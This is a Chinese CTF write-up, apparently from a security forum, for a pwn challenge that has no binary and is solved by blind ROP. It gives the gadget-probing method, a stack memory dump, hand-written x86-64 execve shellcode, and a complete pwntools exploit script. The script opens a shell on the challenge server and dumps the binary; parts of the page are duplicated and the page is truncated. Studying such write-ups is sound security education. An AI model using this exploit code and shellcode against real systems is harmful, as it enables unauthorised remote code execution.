-
-
[原创]废土末世 WP
-
发表于: 2022-5-20 20:23 8360
-
作为一道没有附件的pwn题,选手所有的信息都只能通过与服务器的交互获取,对于出题方的服务器压力应该还是比较大的。不过这次看雪给每个选手提供了一个独立的docker,相比以前有很大提升,有了一个不错的做题体验。
首先在百度上搜索ctf BROP,了解一下BROP的基本知识和做题方法,发现PWN学习总结(七)—— BROP这篇文章不错。参照上面的方法,可以获取栈溢出长度为16,STOP GADGETS为0x4000B0,同时也可以探测到溢出函数的返回地址应该是0x4000CE。可以发现这两个地址距离默认基址0x400000都特别近,初步判断目标程序应该特别简小精悍。
下一步想参照文章里说的搜索BROP GADGETS,但是没有任何结果,于是逐步放宽搜索条件,从6个pop加ret改为5个、4个、3个,发现在合理范围内居然都没搜索到。但是在0x4000F5,0x4000FA,0x4000FB,0x4000FD,0x4000FE,0x400100,0x400102搜索到2个pop加ret,0x400101,0x400106搜索到一个ret(即0xC3)。很明显0x400101和0x400106之间的距离不太像是两个函数的ret,所以我们最终只发现了一个函数的ret。但作为栈溢出题,特别是溢出函数后面需要打印"TNT TNT!\n"字符串,证明这个程序里至少包含主程序和溢出函数两段代码,主程序可以不用ret,但是子函数必须有,所以可以推定0x400106为子函数代码段的结尾。同时由于没有搜索到单个pop加ret的代码,所以子函数平衡堆栈的方式应该是直接修改rsp寄存器,因此得到0x400102处代码为add rsp,10h。
通过设置返回地址的方式仔细搜索0x4000CE至0x400102的内存,发现当地址为0x4000EC,0x4000ED,0x4000EE,0x4000EF,0x4000F2,0x4000F3时虽然也没有任何输出信息,但是返回速度特别慢,通过反复测试发现应该是服务器正在等待输入,当地址设置为0x4000EC时在输入后甚至还返回了一段奇怪的字符。
通过比对本地程序的运行内存状态,可以发现输出内容就是目标程序的当前栈。其中0x4000b0作为entry point也得到了确认。但是这段内存既没有libc的地址,本该是ld地址的地方也被设置成了0。因此也没有办法通过跳转到程序外进行探测。这段内存里leak的唯一有用信息就是stack地址,而且通过0x188处的指针应该指向0x1b9处的“x86_64”可以完全确定当前0x00处对应的内存地址。
确定栈的地址后,我们就可以将返回地址设置到栈上的任意地方,考虑到这个程序实在太短,很难设置太复杂的get shell方式;同时考虑到这个程序既然连栈溢出这么简单的漏洞都有,那么加上一个栈上可执行应该不算太过分。
在简单的验证了mov rax,0x4000B0;jmp rax可以执行后,就开始了漫长的找shellcode之旅。本以为这样的shellcode百度上到处都是,没想到不是32位的就是windows的,或者是各种异型编程或者是编译不通过,一直就用不了。只好重新学习了一下linux下64位的系统调用原理,自己按照说明老老实实写了一个。
下面附上获取tnt文件的代码,最后发现获取的整个文件居然只有1104字节,可以说设计得非常精妙:
00000000
61
23
23
23
23
23
23
23
ec
00
40
00
00
00
00
00
│a
###│####│··@·│····│
00000010
ec
00
40
00
00
00
00
00
36
bf d8
8e
ff
7f
00
00
│··@·│····│
6
···│····│
00000020
00
00
00
00
00
00
00
00
3c
bf d8
8e
ff
7f
00
00
│····│····│<···│····│
00000030
52
bf d8
8e
ff
7f
00
00
5d
bf d8
8e
ff
7f
00
00
│R···│····│]···│····│
00000040
9f
bf d8
8e
ff
7f
00
00
[ad bf d8
8e
ff
7f
00
00
] │····│····│····│····│stack
00000050
[dd bf d8
8e
ff
7f
00
00
]
00
00
00
00
00
00
00
00
│····│····│····│····│stack
00000060
21
00
00
00
00
00
00
00
[
00
80
dd
8e
ff
7f
00
00
] │!···│····│····│····│vvar
00000070
10
00
00
00
00
00
00
00
ff fb ab
0f
00
00
00
00
│····│····│····│····│
00000080
06
00
00
00
00
00
00
00
00
10
00
00
00
00
00
00
│····│····│····│····│
00000090
11
00
00
00
00
00
00
00
64
00
00
00
00
00
00
00
│····│····│d···│····│
000000a0
03
00
00
00
00
00
00
00
40
00
40
00
00
00
00
00
│····│····│@·@·│····│
000000b0
04
00
00
00
00
00
00
00
38
00
00
00
00
00
00
00
│····│····│
8
···│····│
000000c0
05
00
00
00
00
00
00
00
02
00
00
00
00
00
00
00
│····│····│····│····│
000000d0
07
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
│····│····│····│····│
000000e0
08
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
│····│····│····│····│
000000f0
09
00
00
00
00
00
00
00
[b0
00
40
00
]
00
00
00
00
│····│····│··@·│····│entry point
00000100
0b
00
00
00
00
00
00
00
e8
03
00
00
00
00
00
00
│····│····│····│····│
00000110
0c
00
00
00
00
00
00
00
e8
03
00
00
00
00
00
00
│····│····│····│····│
00000120
0d
00
00
00
00
00
00
00
e8
03
00
00
00
00
00
00
│····│····│····│····│
00000130
0e
00
00
00
00
00
00
00
e8
03
00
00
00
00
00
00
│····│····│····│····│
00000140
17
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
│····│····│····│····│
00000150
19
00
00
00
00
00
00
00
[c9 a0 d8
8e
ff
7f
00
00
] │····│····│····│····│stack
00000160
1a
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
│····│····│····│····│
00000170
1f
00
00
00
00
00
00
00
f2 bf d8
8e
ff
7f
00
00
│····│····│····│····│
00000180
0f
00
00
00
00
00
00
00
d9 a0 d8
8e
ff
7f
00
00
│····│····│····│····│
00000190
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
│····│····│····│····│
000001a0
00
00
00
00
00
00
00
00
00
a8
74
8e
80
3d
82
7c
│····│····│··t·│·
=
·|│
000001b0
d3 d8 b4 ba
0a
dd bb
41
a1
78
38
36
5f
36
34
00
│····│···A│·x86│_64·│
000001c0
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
│····│····│····│····│
00000000
61
23
23
23
23
23
23
23
ec
00
40
00
00
00
00
00
│a
###│####│··@·│····│
00000010
ec
00
40
00
00
00
00
00
36
bf d8
8e
ff
7f
00
00
│··@·│····│
6
···│····│
00000020
00
00
00
00
00
00
00
00
3c
bf d8
8e
ff
7f
00
00
│····│····│<···│····│
00000030
52
bf d8
8e
ff
7f
00
00
5d
bf d8
8e
ff
7f
00
00
│R···│····│]···│····│
00000040
9f
bf d8
8e
ff
7f
00
00
[ad bf d8
8e
ff
7f
00
00
] │····│····│····│····│stack
00000050
[dd bf d8
8e
ff
7f
00
00
]
00
00
00
00
00
00
00
00
│····│····│····│····│stack
00000060
21
00
00
00
00
00
00
00
[
00
80
dd
8e
ff
7f
00
00
] │!···│····│····│····│vvar
00000070
10
00
00
00
00
00
00
00
ff fb ab
0f
00
00
00
00
│····│····│····│····│
00000080
06
00
00
00
00
00
00
00
00
10
00
00
00
00
00
00
│····│····│····│····│
00000090
11
00
00
00
00
00
00
00
64
00
00
00
00
00
00
00
│····│····│d···│····│
000000a0
03
00
00
00
00
00
00
00
40
00
40
00
00
00
00
00
│····│····│@·@·│····│
000000b0
04
00
00
00
00
00
00
00
38
00
00
00
00
00
00
00
│····│····│
8
···│····│
000000c0
05
00
00
00
00
00
00
00
02
00
00
00
00
00
00
00
│····│····│····│····│
000000d0
07
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
│····│····│····│····│
000000e0
08
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
│····│····│····│····│
000000f0
09
00
00
00
00
00
00
00
[b0
00
40
00
]
00
00
00
00
│····│····│··@·│····│entry point
00000100
0b
00
00
00
00
00
00
00
e8
03
00
00
00
00
00
00
│····│····│····│····│
00000110
0c
00
00
00
00
00
00
00
e8
03
00
00
00
00
00
00
│····│····│····│····│
00000120
0d
00
00
00
00
00
00
00
e8
03
00
00
00
00
00
00
│····│····│····│····│
00000130
0e
00
00
00
00
00
00
00
e8
03
00
00
00
00
00
00
│····│····│····│····│
00000140
17
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
│····│····│····│····│
00000150
19
00
00
00
00
00
00
00
[c9 a0 d8
8e
ff
7f
00
00
] │····│····│····│····│stack
00000160
1a
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
│····│····│····│····│
00000170
1f
00
00
00
00
00
00
00
f2 bf d8
8e
ff
7f
00
00
│····│····│····│····│
00000180
0f
00
00
00
00
00
00
00
d9 a0 d8
8e
ff
7f
00
00
│····│····│····│····│
00000190
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
│····│····│····│····│
000001a0
00
00
00
00
00
00
00
00
00
a8
74
8e
80
3d
82
7c
│····│····│··t·│·
=
·|│
000001b0
d3 d8 b4 ba
0a
dd bb
41
a1
78
38
36
5f
36
34
00
│····│···A│·x86│_64·│
000001c0
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
│····│····│····│····│
#-*- coding: utf-8 -*-
from
pwn
import
*
#from LibcSearcher import LibcSearcher
context.log_level
=
'debug'
#context.arch = 'i386'/'amd64'
ip
=
"127.0.0.1"
port
=
10062
buf_length
=
16
def
GetBropGadgets(buf_length, stop_gadgets, address):
try
:
sh
=
remote(ip, port)
sh.recvuntil(
"hacker, TNT!\n"
)
#寻找 pop_rbx_rbp_r12_r13_r14_r15_ret
payload
=
'a'
*
buf_length
+
p64(address)
+
p64(
0
)
*
1
+
p64(stop_gadgets)
sh.send(payload)
output
=
sh.recv(timeout
=
1
)
sh.close()
if
not
output.startswith(
'hacker, TNT!'
):
return
False
return
True
except
Exception:
sh.close()
return
False
def
check(buf_length, address):
try
:
sh
=
remote(ip, port)
sh.recvuntil(
"hacker, TNT!\n"
)
payload
=
'a'
*
buf_length
+
p64(address)
+
p64(
0
)
*
2
sh.send(payload)
output
=
sh.recv(timeout
=
1
)
sh.close()
return
False
except
Exception:
sh.close()
return
True
def
GetStopAddr():
address
=
0x4000b0
while
1
:
print
(
hex
(address))
try
:
sh
=
remote(ip, port)
sh.recvuntil(
"hacker, TNT!\n"
)
payload
=
'a'
*
buf_length
+
p64(address)
sh.send(payload)
output
=
sh.recv()
#未成功返回到main函数头部开始执行
if
not
output.startswith(
'hacker, TNT!'
):
sh.close()
address
+
=
1
else
:
return
address
#触发栈溢出异常
except
EOFError:
address
+
=
1
sh.close()
shellcode
=
''' /* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push '/bin///shx00' */
mov rax,0x0068732F6E69622F
push rax
mov rdi, rsp
mov rax, 0x3b
xor rsi,rsi
xor rdx,rdx
syscall'''
shellcode
=
asm(shellcode,arch
=
'amd64'
,os
=
'linux'
)
sh
=
remote(ip, port)
sh.recvuntil(
"hacker, TNT!\n"
)
#payload = 'A'*buf_length + p64(0x4000ec) + p64(0x4000ec) + p64(0x4000B0) * 1 + p64(0x004000CEC0C74890) + p64(0x909090E0FF909090)# + 'b' * 8# + p64(0) + p64(0) + p64(0x4000B0)
payload
=
'A'
*
buf_length
+
p64(
0x4000ec
)
+
p64(
0x4000ec
)
+
p64(
0x4000B0
)
*
1
+
shellcode
sh.send(payload)
sleep(
2
)
sh.send(
'A'
)
sh.recv(
0x188
)
addr
=
u64(sh.recv(
8
))
-
0x1B9
print
hex
(addr)
#sh.recvuntil("hacker, TNT!\n")
#payload = '#'*buf_length + p64(addr)
#payload = 'B'*buf_length + p64(0x4000B0)
payload
=
'B'
*
buf_length
+
p64(addr
+
0x20
)
sh.send(payload)
#sh.send(payload)
#raw_input("Enter your input: ")
#sh.send(p64(0x4000ec))
#sleep(1)
#sh.send(p64(0x4000ec))
sh.sendline(
"ls -l"
)
sh.recvuntil(
"tnt\n"
)
sh.sendline(
"cat tnt"
)
p
=
sh.recv()
file_handle
=
open
(
'/home/ctf/下载/tnt'
,mode
=
'wb'
)
file_handle.write(p)
file_handle.close()
sh.interactive()
'''
print sh.recv()
sh.close()
buf_length = 16
address = 0x400000
stop_gadgets = 0x4000B0
#stop_gadgets = GetStopAddr()
print('stop gadgets = 0x%x' % stop_gadgets)
while 1:
print(hex(address))
if GetBropGadgets(buf_length, stop_gadgets, address):
print('possible brop gadget: 0x%x' % address)
if check(buf_length, address):
print('success brop gadget: 0x%x' % address)
break
address += 1
'''
#-*- coding: utf-8 -*-
from
pwn
import
*
#from LibcSearcher import LibcSearcher
context.log_level
=
'debug'
#context.arch = 'i386'/'amd64'
ip
=
"127.0.0.1"
port
=
10062
buf_length
=
16
def
GetBropGadgets(buf_length, stop_gadgets, address):
try
:
sh
=
remote(ip, port)
sh.recvuntil(
"hacker, TNT!\n"
)
#寻找 pop_rbx_rbp_r12_r13_r14_r15_ret
payload
=
'a'
*
buf_length
+
p64(address)
+
p64(
0
)
*
1
+
p64(stop_gadgets)
sh.send(payload)
output
=
sh.recv(timeout
=
1
)
sh.close()
if
not
output.startswith(
'hacker, TNT!'
):
return
False
return
True
except
Exception:
sh.close()
return
False
def
check(buf_length, address):
try
:
sh
=
remote(ip, port)
sh.recvuntil(
"hacker, TNT!\n"
)
payload
=
'a'
*
buf_length
+
p64(address)
+
p64(
0
)
*
2
sh.send(payload)
output
=
sh.recv(timeout
=
1
)
sh.close()
return
False
except
Exception:
sh.close()
return
True
def
GetStopAddr():
address
=
0x4000b0
while
1
:
print
(
hex
(address))
try
:
sh
=
remote(ip, port)
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
- [原创]第十二题 深入内核 4103
- [原创]第十一题 步步逼近 4565
- [原创]第八题 AI核心地带 3484
- [原创] 第七题 智能联盟计划 3660
- 第六题 至暗时刻 11424